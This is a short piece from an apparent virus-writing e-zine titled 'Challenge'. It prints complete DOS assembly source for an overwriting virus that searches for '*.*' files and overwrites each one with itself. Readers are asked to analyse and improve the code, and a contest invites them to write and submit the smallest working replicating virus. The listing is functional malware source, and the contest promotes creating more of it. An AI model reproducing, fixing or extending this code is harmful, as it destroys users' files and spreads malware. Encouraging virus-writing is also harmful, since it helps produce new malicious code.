                                  Challenge
                                      By
                                  Horny Toad

1. Beginner's Challenge:  Armed with the knowledge that you have from the toad instructional 
virus, try to find out how this virus (below) differs from the toad virus. Start first with what you 
already know.  Mark off the sections that are familiar and construct a flow chart for what the 
virus does. Ask yourself, "What type of files does it infect?" How many files will it infect? What 
is the outcome?  What is the main problem with this code and how would you improve it?  There 
are many mistakes in this code.  In the next issue of the mag, I will discuss the answers to the 
quiz and also comment out the problems with the below code.  If you choose to compile it, make 
sure that you keep it confined to an isolated directory.  There is no directory transversal or 
resident routines, so you will not have to worry about it getting loose.  Have fun! 

code    segment
        assume  ds:code,cs:code
        org     100h                    

virus_start     equ     $

start:
        mov     dx,offset file_type     
        mov     ah,4eh                  

infect:
        int     21h
        mov     ax,3d02h                
        mov     dx,9eh              
        int     21h
        mov     bx,ax                   
        mov     cx,virus_length         
        mov     dx,100h                 
        mov     ah,40h                  
        int     21h                     
        mov     ah,3eh                  
        int     21h                     

find_next_file:
        mov     ah,4fh 
        jmp     infect

file_type       db      '*.*',0
virus_end       equ     $
virus_length    =       virus_end - virus_start ;length of virus

code    ends

        end     start






2. Intermediate Challenge:  Write the smallest assembly virus possible.  The only rules are that it 
replicate and work!  Submit your entries to me. Please include source and assembled code, along 
with the assembler/linker instructions and what version of assembler/linker you are using.  You 
can get in touch with me on the CodeBreakers site.  The winner and runner-up will have their 
code published in the CodeBreakers mag and receive life-long subscriptions to the CodeBreakers 
mag.  Good luck! (By the way, the current record to beat is SPo0ky at 27 bytes! You can 
download his code at the "Member's Files" section of the Codebreakers site)


